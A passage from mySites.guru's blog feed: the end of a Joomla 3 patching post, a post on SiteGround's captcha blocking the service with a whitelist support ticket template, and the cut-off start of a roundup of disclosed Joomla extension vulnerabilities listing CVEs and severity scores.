&lt;p&gt;Because we decided a long time ago that the deal should get better without the price going up. mySites.guru is &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;GBP 19.99 per month for unlimited Joomla and WordPress sites&lt;/a&gt;, and that number has not moved since we launched in 2012. Every tool in this post, the JoomShaper patch, the core Joomla 3 patch, all four cleanup tools, arrived after you signed up and cost you nothing extra. So did AI-powered malware analysis, the vulnerability alerting, and the hundreds of other things we have added over the years.&lt;/p&gt;
&lt;p&gt;We are not aware of another service in this space that has held its price flat for that long while adding this much. When we build a tool like the only Joomla 3 extension patcher in existence, it does not become a paid add-on or a higher tier. It shows up in your account, at the price you already pay, because a toolset that grows every day is the entire point of paying for one. You can &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;try the whole thing free for a month&lt;/a&gt; and see it for yourself.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Rather someone just fixed it for you? A flat GBP 120, even if the site is still on Joomla 3.&lt;/p&gt;
  &lt;p&gt;Please send me your complete site details, including FTP, using the form at &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt; and I&apos;ll happily take a look. Set fees apply. Skip the troubleshooting and get your site fixed today.&lt;/p&gt;
  &lt;p&gt;Phil Taylor, the mySites.guru founder, has resolved thousands of Joomla and WordPress issues. Most fixes are completed within the hour, and at the latest the same day.&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;span&gt;✓&lt;/span&gt; Same-day resolution guaranteed&lt;/li&gt;
    &lt;li&gt;&lt;span&gt;✓&lt;/span&gt; Fixed price, no surprises&lt;/li&gt;
    &lt;li&gt;&lt;span&gt;✓&lt;/span&gt; No fix? No fee!&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p&gt;
    &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;Fix my site for GBP 120 →&lt;/a&gt;
  &lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/joomshaper-drops-joomla-3-support&quot;&gt;JoomShaper’s announcement that it has dropped Joomla 3 support&lt;/a&gt; - the vendor’s own statement, including the “no security patches, regardless of severity” line.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48908/&quot;&gt;CVE-2026-48908&lt;/a&gt; - our record page for the SP Page Builder unauthenticated file-upload flaw, rated CVSS 10.0.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;The Joomla 3.10.999 project on GitHub&lt;/a&gt; - the community-sourced backported core patches the core patch tool draws from.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder’s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - we found two more gaps in JoomShaper’s SP Page Builder Joomla 3 back-port, and version 1.0.3 closes them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_release_cycle&quot;&gt;Joomla’s official end-of-life policy&lt;/a&gt; - where Joomla 3 sits in the support timeline and why.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>end-of-life</category><category>joomshaper</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/patch-abandoned-joomshaper-joomla-3-extensions.png" length="0" type="image/png"/></item><item><title>SiteGround&apos;s Captcha Is Blocking mySites.guru - again</title><link>https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/siteground-captcha-blocking-mysites-guru/</guid><description>SiteGround&apos;s Anti-Bot AI serves mySites.guru&apos;s worker a 202 captcha challenge instead of your site. Here&apos;s how to spot it and get our IP whitelisted.</description><pubDate>Tue, 14 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;mySites.guru connects to every site you add and runs &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt;, backups, extension updates, and &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime checks&lt;/a&gt; against it. To do that, it has to reach your site over the internet the same way a browser does. On SiteGround-hosted sites, every so often, it can’t. SiteGround’s Anti-Bot AI decides our server looks like a bot and hands it a captcha challenge instead of your actual site.&lt;/p&gt;
&lt;p&gt;When that happens, an audit stalls, a backup won’t start, or an uptime check reports your site as unreachable, while the site loads perfectly in your own browser. Nothing is wrong with your site, and nothing has changed on our side. Our worker connects from the same published IP address it has used for over a decade. SiteGround has simply decided, for a while, to block it. That is a SiteGround decision, made on SiteGround’s servers, and only SiteGround can undo it.&lt;/p&gt;
&lt;p&gt;This is not new, and it is not unique to us. It happens to every management and monitoring platform that talks to SiteGround-hosted sites. Here is what the block looks like, why an automated service can’t just click through the captcha, and the exact support request that clears it.&lt;/p&gt;
&lt;h2&gt;What SiteGround’s Captcha Actually Does&lt;/h2&gt;
&lt;p&gt;SG-Captcha is part of SiteGround’s Anti-Bot AI, a system that sits in front of every hosted site and tries to separate human visitors from automated ones. When it flags a request as a bot, it does not serve the page. It serves a captcha challenge instead, on the theory that the traffic might be a brute-force or denial-of-service attempt.&lt;/p&gt;
&lt;p&gt;For a person in a browser, this is nearly invisible. The browser receives the challenge, runs the JavaScript, follows the redirect, and loads the real page a moment later. For anything that is not a full browser, an uptime monitor, a security scanner, an API client, or a management platform like mySites.guru, the challenge is a dead end. The client asks for your page and gets a redirect to a captcha it has no way to solve.&lt;/p&gt;
&lt;p&gt;The Anti-Bot AI itself is not new. What changed is how aggressively it escalates to a full captcha challenge against automated clients, which is when legitimate tools started getting caught in it.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is Not the Threat Here&lt;/h2&gt;
&lt;p&gt;mySites.guru is exactly the kind of automated client the Anti-Bot AI should never be challenging:&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;
    &lt;p&gt;
      &lt;span&gt;mySites.guru is a reputable, long-standing service, connecting from the same IP address to hundreds of thousands of sites.&lt;/span&gt;
      &lt;span&gt;We are not new, malicious, or scary.&lt;/span&gt;
    &lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/figure&gt;
&lt;p&gt;We have run from the same published IP address for over a decade. We are not the kind of attack traffic the Anti-Bot AI exists to stop. We are simply automated, and automation is all the AI sees before it puts up the wall.&lt;/p&gt;
&lt;p&gt;Because that one address connects to so many sites, the damage is never limited to a single domain. When SG-Captcha decides it does not like mySites.guru, thousands of customer sites are blocked at the same moment. Every owner sees a failed check at once, and a wave of support tickets arrives here, for a block we did not cause and cannot lift.&lt;/p&gt;
&lt;h2&gt;How Do You Know SiteGround Is Blocking mySites.guru?&lt;/h2&gt;
&lt;p&gt;The signature is an HTTP 202 response with an &lt;code&gt;sg-captcha: challenge&lt;/code&gt; header, where you would normally expect a 200 and your page. A quick &lt;code&gt;curl&lt;/code&gt; against the affected site shows it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;HTTP/2 &lt;/span&gt;&lt;span&gt;202&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;server:&lt;/span&gt;&lt;span&gt; nginx&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;content-type:&lt;/span&gt;&lt;span&gt; text/html&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;content-length:&lt;/span&gt;&lt;span&gt; 166&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;sg-captcha:&lt;/span&gt;&lt;span&gt; challenge&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;x-robots-tag:&lt;/span&gt;&lt;span&gt; noindex&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;set-cookie:&lt;/span&gt;&lt;span&gt; nevercache-b39818=Y;Max-Age=-1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;cache-control:&lt;/span&gt;&lt;span&gt; no-store,no-cache,max-age=0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The body is a tiny HTML page that redirects to the challenge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;lt;&lt;/span&gt;&lt;span&gt;head&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;link&lt;/span&gt;&lt;span&gt; rel&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;icon&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; href&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;data:;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;&lt;/span&gt;&lt;span&gt;meta&lt;/span&gt;&lt;span&gt; http-equiv&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;refresh&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;          content&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;0;/.well-known/sgcaptcha/?r=%2F&amp;amp;y=ipr:178.62.5.35:...&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &amp;lt;/&lt;/span&gt;&lt;span&gt;meta&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;lt;/&lt;/span&gt;&lt;span&gt;head&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;/&lt;/span&gt;&lt;span&gt;html&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two things give it away. The &lt;code&gt;sg-captcha: challenge&lt;/code&gt; header is SiteGround telling you exactly which system is intercepting the request. And the redirect target, &lt;code&gt;/.well-known/sgcaptcha/&lt;/code&gt;, includes &lt;code&gt;ipr:178.62.5.35&lt;/code&gt;, the IP address being challenged. That is our main worker’s address. So this is not a general site fault. SiteGround is specifically holding a captcha in front of the address mySites.guru connects from.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;x-robots-tag: noindex&lt;/code&gt; on that response matters too, and we come back to it below.&lt;/p&gt;
&lt;h2&gt;Why Can’t mySites.guru Just Solve the Captcha?&lt;/h2&gt;
&lt;p&gt;Because it is a service, not a browser. mySites.guru connects to your site as a headless client to fetch files, read versions, and check that the site is up. There is no browser window, no user, and no JavaScript engine sitting there to run a proof-of-work challenge and click through a redirect loop. It asks for your page over HTTPS and expects your page back.&lt;/p&gt;
&lt;p&gt;Even if it could solve the challenge once, that would not fix the problem. Solving SiteGround’s captcha issues a short-lived session cookie to the browser that solved it. Requests with that cookie get through; requests from the same IP without it are challenged again. Our worker does not have a browser session from one request to the next, so it would be challenged over and over. The only durable fix is to stop challenging our IP address in the first place.&lt;/p&gt;
&lt;h2&gt;Only SiteGround Can Fix This&lt;/h2&gt;
&lt;p&gt;Before the how-to, here is the single most important point, because it saves you contacting the wrong people:&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;This is not a mySites.guru issue to solve. This is a SiteGround issue, and only they can solve it.&lt;/blockquote&gt;
&lt;/figure&gt;
&lt;p&gt;The block is made by SiteGround’s Anti-Bot AI, on SiteGround’s servers. mySites.guru cannot switch it off, allowlist itself, or change anything on our side to stop it, and neither can our support team. The exemption can only be added inside SiteGround’s own infrastructure, so the request has to go to SiteGround.&lt;/p&gt;
&lt;h2&gt;How Do You Get the Block Removed?&lt;/h2&gt;
&lt;p&gt;The fix is a support ticket to SiteGround, asking them to whitelist the mySites.guru IP addresses in their Anti-Bot AI. There is no self-service toggle for this. SiteGround’s own captcha article explains what the challenge is, but it does not give you a way to exempt a service you trust, so the exemption has to come from their support team.&lt;/p&gt;
&lt;p&gt;These are the two addresses to give them. Both are published at &lt;a href=&quot;https://manage.mysites.guru/ips&quot;&gt;manage.mysites.guru/ips&lt;/a&gt; and have not changed in over ten years:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;IP addresses to whitelist:&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;&lt;code&gt;178.62.5.35&lt;/code&gt; - audits, backups, updates, and the connector&lt;/li&gt;
    &lt;li&gt;&lt;code&gt;165.227.239.229&lt;/code&gt; - uptime monitoring&lt;/li&gt;
  &lt;/ul&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;manage.mysites.guru/ips&lt;/code&gt; page above is a public, static URL, so it is safe to paste into a support ticket for your host to read. If you are signed in to mySites.guru, the &lt;a href=&quot;https://manage.mysites.guru/faq/ips&quot;&gt;IP addresses help page&lt;/a&gt; in your account has more detail on connection issues and what to send your host.&lt;/p&gt;
&lt;p&gt;Copy this straight into the ticket and fill in your domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Subject: Please whitelist two IPs in your Anti-Bot AI / SG-Captcha&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Hello,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;I use mySites.guru, a third-party service, to manage and monitor my&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;website hosted with you. Its servers are currently being served a 202&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;SG-Captcha challenge instead of my site, which stops the service from&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;reaching it.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Please permanently whitelist these two IP addresses so requests from&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;them are never challenged by your Anti-Bot AI / SG-Captcha:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  178.62.5.35&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  165.227.239.229&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;These are the fixed, published outgoing IPs for mySites.guru and have&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;not changed in over a decade. You can verify them here:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;https://manage.mysites.guru/ips&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Please confirm both addresses are exempt from the Anti-Bot AI itself,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;not only added to the Blocked Traffic list in Site Tools.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Affected domain: &amp;lt;add your domain&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Thank you.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That last line about the Blocked Traffic list matters. That list in Site Tools is a separate feature for your own manual IP blocks, and it does not control which clients the Anti-Bot AI decides to challenge, so adding our IPs there alone will not stop the captcha.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Warning: the block can hurt your Google ranking&lt;/p&gt;
  &lt;p&gt;The captcha challenge is served with a noindex tag. If SiteGround challenges Googlebot the same way it challenges us, Google receives a noindex page instead of your content and can drop those URLs from its index until the block is lifted. Site owners have watched pages drop out of Google for exactly this reason, so it is worth fixing even if you do not use a monitoring service. It is also a reminder that [what a crawler is served is not always what your server holds](/blog/robots-txt-for-joomla-and-wordpress/).&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;You Are Not the Only Service Being Blocked&lt;/h2&gt;
&lt;p&gt;This matters, because when a check fails the natural assumption is that something is wrong with mySites.guru. It isn’t. SiteGround’s Anti-Bot AI blocks third-party platforms by design, and the same 202 captcha challenge has been reported by:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MainWP, a rival WordPress management dashboard, whose users get the identical HTTP 202 on connection and whose documented fix is, word for word, to ask SiteGround support to whitelist the dashboard’s IP.&lt;/li&gt;
&lt;li&gt;Googlebot, which has been served the noindex challenge and de-indexed pages as a result.&lt;/li&gt;
&lt;li&gt;Uptime monitors and security scanners generally, which look like repeated automated hits and get challenged the same way.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is not even unique to SiteGround. Cloudflare’s Bot Fight Mode has blocked Sucuri’s malware scans, and every serious anti-bot system, Cloudflare and DataDome included, ships a verified-bot allowlist because blunt bot-blocking catches legitimate services. The difference is whether the allowlist is something you can manage yourself or something you have to request one ticket at a time. On SiteGround, for now, it is the ticket.&lt;/p&gt;
&lt;h2&gt;Fifteen Years With SiteGround&lt;/h2&gt;
&lt;p&gt;There is some history here I should be honest about. To their credit, SiteGround has stayed independently owned since 2004, while much of the hosting market was rolled up under a handful of conglomerates. In mySites.guru’s early years, SiteGround’s own founders were paying subscribers of the service, for many years, and gave us real hands-on help getting it running well on their shared hosting. That relationship mattered, and it is part of why the tool performs the way it does on shared hosts today.&lt;/p&gt;
&lt;p&gt;What has faded is the direct line. As a host grows, first-line support gets further from the engineers, and the practical result for anyone integrating with the platform is that there is no proactive way to keep a known-good service allowlisted. The Anti-Bot AI does its job, occasionally decides a decade-old, published, fixed IP is a threat, and the only route back is a per-customer support request. We have tried over the years to set up a standing allowlist so our customers never see this, without success, which is why the workaround still falls to you rather than to us.&lt;/p&gt;
&lt;p&gt;None of that is a reason to leave SiteGround. It is a good host. But if you run sites there and use any external tool to manage or monitor them, this is a periodic tax you should know how to pay quickly. mySites.guru works with &lt;a href=&quot;https://mysites.guru/blog/how-to-audit-your-local-sites-with-mysites-guru-or-behind-firewalls/&quot;&gt;any site it can reach&lt;/a&gt;, across &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;hundreds of sites from one dashboard&lt;/a&gt;, and a two-minute support ticket is usually all it takes to get us reaching yours again.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.siteground.com/kb/seeing-captcha-website/&quot;&gt;SiteGround: I am seeing a CAPTCHA page on my website&lt;/a&gt; - SiteGround’s own explainer for the Anti-Bot AI captcha.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.mainwp.com/t/siteground-captcha-causing-connectivity-issues-with-mainwp-dashboard-http-202-accepted/10329&quot;&gt;MainWP community: SiteGround captcha causing connectivity issues (HTTP 202)&lt;/a&gt; - the same block hitting another management platform, with the whitelist fix.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vocationalmedia.com/blog/phantom-noindex-tag-siteground-captcha/&quot;&gt;Phantom noindex tag from SiteGround’s captcha&lt;/a&gt; - a first-hand account of the de-indexing side effect.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/waf/troubleshooting/fake-bot-managed-rules/&quot;&gt;Cloudflare: verified bots and false positives&lt;/a&gt; - how a major anti-bot system handles the same problem with an allowlist.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>hosting</category><category>monitoring</category><category>firewalls</category><category>uptime</category><category>troubleshooting</category><enclosure url="https://mysites.guru/img/og/blog/siteground-captcha-blocking-mysites-guru.png" length="0" type="image/png"/></item><item><title>Nineteen and Counting: Joomla Extension Vulnerabilities We Found and Disclosed in a Month</title><link>https://mysites.guru/blog/a-month-of-joomla-security-disclosures/</link><guid isPermaLink="true">https://mysites.guru/blog/a-month-of-joomla-security-disclosures/</guid><description>Nineteen Joomla extension vulnerabilities mySites.guru found and disclosed in a month, with CVE ids, CVSS scores and the version that fixes each one.</description><pubDate>Mon, 13 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Between mid-June and late July 2026, mySites.guru found and responsibly disclosed &lt;strong&gt;nineteen separate security vulnerabilities across seventeen popular Joomla extensions&lt;/strong&gt;. Most were critical. Five rated the maximum CVSS 4.0 score of 10.0. Several were being exploited in the wild within hours of the fix going public. Every one was reported privately to the vendor first, and all nineteen now have a vendor fix out. If you want to know which of your sites run an affected extension, the &lt;a href=&quot;https://mysites.guru/joomla-vulnerability-scanner/&quot;&gt;Joomla vulnerability scanner&lt;/a&gt; checks them against these rules.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        &lt;span&gt;19&lt;/span&gt;
        &lt;span&gt;in that month&lt;/span&gt;
      &lt;/div&gt;
      &lt;div&gt;
        &lt;span&gt;54&lt;/span&gt;
        &lt;span&gt;announcements&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;Updated 22 August 2026&lt;/p&gt;
      &lt;p&gt;When we published this, the number was twelve. It reached nineteen inside a fortnight, and the run carried straight on through August. This update adds &lt;a href=&quot;#every-security-announcement-we-have-published&quot;&gt;the full archive&lt;/a&gt; further down: all 54 security announcements on this blog, ours and other researchers’, newest first. The latest of them, &lt;a href=&quot;https://mysites.guru/blog/jem-joomla-event-manager-disclosure/&quot;&gt;five issues in JEM&lt;/a&gt;, has no stable fix yet. More are written and sitting on vendor timelines. The “and counting” was never a figure of speech.&lt;/p&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Found, reported and fixed by mySites.guru&lt;/p&gt;
  &lt;p&gt;Every one of these was found, researched, privately disclosed, coordinated to a fixed release and written up by us, here at mySites.guru. This is what improving the Joomla ecosystem looks like from the inside: one report at a time. In the short term it is a headache for some Joomla admins, no question, but the whole ecosystem is in better shape for it. The people who run their sites through mySites.guru got the heads-up first wherever a coordinated timeline allowed, plus the exhaustive toolset to find and fix every affected site fast.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is the roundup: what each flaw was, the version that fixes it, and the pattern connecting almost all of them. If you run Joomla, treat the table below as your update list. Further down there is now &lt;a href=&quot;#every-security-announcement-we-have-published&quot;&gt;the full archive of every security announcement we have published&lt;/a&gt;, all 54 of them, which is the wider reading list.&lt;/p&gt;
&lt;p&gt;A quick apology before you dive in: this post got waaay too long. We will be slicing it into shorter, single-point pieces in future posts, but we have a lot of information coming out soon and wanted to get it all down in one place first.&lt;/p&gt;
&lt;h2&gt;Why we went looking&lt;/h2&gt;
&lt;p&gt;This whole run started with an argument. A friend (Yes I have friends, despite what people think haha), in the aftermath of the JCE hack, put it to me that Joomla extensions were simply more secure than WordPress plugins. I told him that was the wrong conclusion: the gap is attention, not security.&lt;/p&gt;
&lt;p&gt;The WordPress ecosystem pays people to find plugin bugs. There are bounty programs, Wordfence and others compensate researchers for reports, and there is even a black market that will buy a working plugin exploit. That money pulls a large, constant crowd of skilled eyes onto WordPress plugins. Joomla has almost none of that. The extensions are audited less because there is no reward for doing it, not because they are safer. The bugs sit there undiscovered, which reads as “secure” right up until someone bothers to look.&lt;/p&gt;
&lt;p&gt;So I bothered to look.&lt;/p&gt;
&lt;p&gt;Reading the actual source of the extensions our customers run, I was finding &lt;strong&gt;one to two critical or high-severity unauthenticated remote code execution flaws every single day, for over a week&lt;/strong&gt;. Not obscure edge cases. Anonymous, upload-a-PHP-file-and-run-it flaws, in some of the most widely deployed extensions in the ecosystem.&lt;/p&gt;
&lt;figure&gt;
  &lt;blockquote&gt;
    &lt;p&gt;
      &lt;span&gt;The vulnerabilities were always there.&lt;/span&gt;
      &lt;span&gt;The difference this month is that somebody was finally looking.&lt;/span&gt;
    &lt;/p&gt;
  &lt;/blockquote&gt;
&lt;/figure&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It started as an argument: a friend claimed Joomla extensions were more secure than WordPress plugins. They are not, &lt;strong&gt;no one looks&lt;/strong&gt; because there is no bounty money in Joomla. So we looked&lt;/li&gt;
&lt;li&gt;Looking turned up &lt;strong&gt;one to two critical or high unauthenticated RCE flaws every day for over a week&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;In about five weeks, mySites.guru found and responsibly disclosed &lt;strong&gt;nineteen Joomla extension vulnerabilities&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Nine were &lt;strong&gt;file upload&lt;/strong&gt; flaws leading to remote code execution or arbitrary file write, five were &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt;, one an &lt;strong&gt;unauthenticated authentication bypass&lt;/strong&gt; to Super User, one an &lt;strong&gt;unauthenticated write to stored XSS&lt;/strong&gt;, one an &lt;strong&gt;unauthenticated file write and delete&lt;/strong&gt;, one an &lt;strong&gt;unauthenticated order and payment forgery&lt;/strong&gt;, and one a &lt;strong&gt;cross-customer order and invoice data leak&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Five scored CVSS 10.0&lt;/strong&gt;: PageBuilder CK, SP Page Builder, Balbooa Forms, RSFiles! and Gridbox&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;All nineteen are now patched&lt;/strong&gt; - get onto the fixed versions in the table now&lt;/li&gt;
&lt;li&gt;Almost all shared one root cause: a &lt;strong&gt;public front-end endpoint that trusted anonymous input&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site still on a vulnerable version, automatically&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;Every vulnerability in this post was reported privately to its vendor first. We publish full detail after the patch, not before: all nineteen are now fixed, so you get the whole story, and while any was still in disclosure we described the risk but withheld the name and the exploit until its fix shipped. The point is to get sites updated, never to hand attackers a recipe.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The vulnerabilities we found in a single month&lt;/h2&gt;

















































































































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Extension&lt;/th&gt;&lt;th&gt;Flaw&lt;/th&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;CVSS&lt;/th&gt;&lt;th&gt;Our write-up&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;RSFiles!&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57827/&quot;&gt;CVE-2026-57827&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Balbooa Forms&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PageBuilder CK&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;10.0&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Read&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SP Page Builder&lt;/td&gt;&lt;td&gt;Unauthenticated upload to RCE&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;a 